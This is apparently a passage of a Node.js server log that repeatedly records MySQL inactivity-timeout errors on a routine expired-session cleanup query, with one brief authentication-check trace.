    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 01:17:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 02:17:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 02:17:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 02:33:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 02:33:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 03:19:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 03:19:28' as DATETIME)"
}
2026-01-05T03:27:59.848Z server-connect:router Serving templateView /
2026-01-05T03:27:59.850Z server-connect:app Executing action step identify
2026-01-05T03:27:59.850Z server-connect:app options: { provider: 'security' }
2026-01-05T03:27:59.850Z server-connect:auth No login cookie found
2026-01-05T03:27:59.850Z server-connect:output identity: false
2026-01-05T03:27:59.851Z server-connect:app Executing action step restrict
2026-01-05T03:27:59.851Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-05T03:27:59.851Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 03:39:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 03:39:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 03:52:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 03:52:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 04:16:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 04:16:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 04:58:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 04:58:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 05:29:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 05:29:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 05:40:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 05:40:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 06:00:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 06:00:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 08:28:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 08:28:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 09:26:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 09:26:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 09:46:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 09:46:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 09:50:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 09:50:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 10:57:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 10:57:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 13:55:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 13:55:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 15:33:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 15:33:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 15:45:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 15:45:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 16:19:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 16:19:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 19:04:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
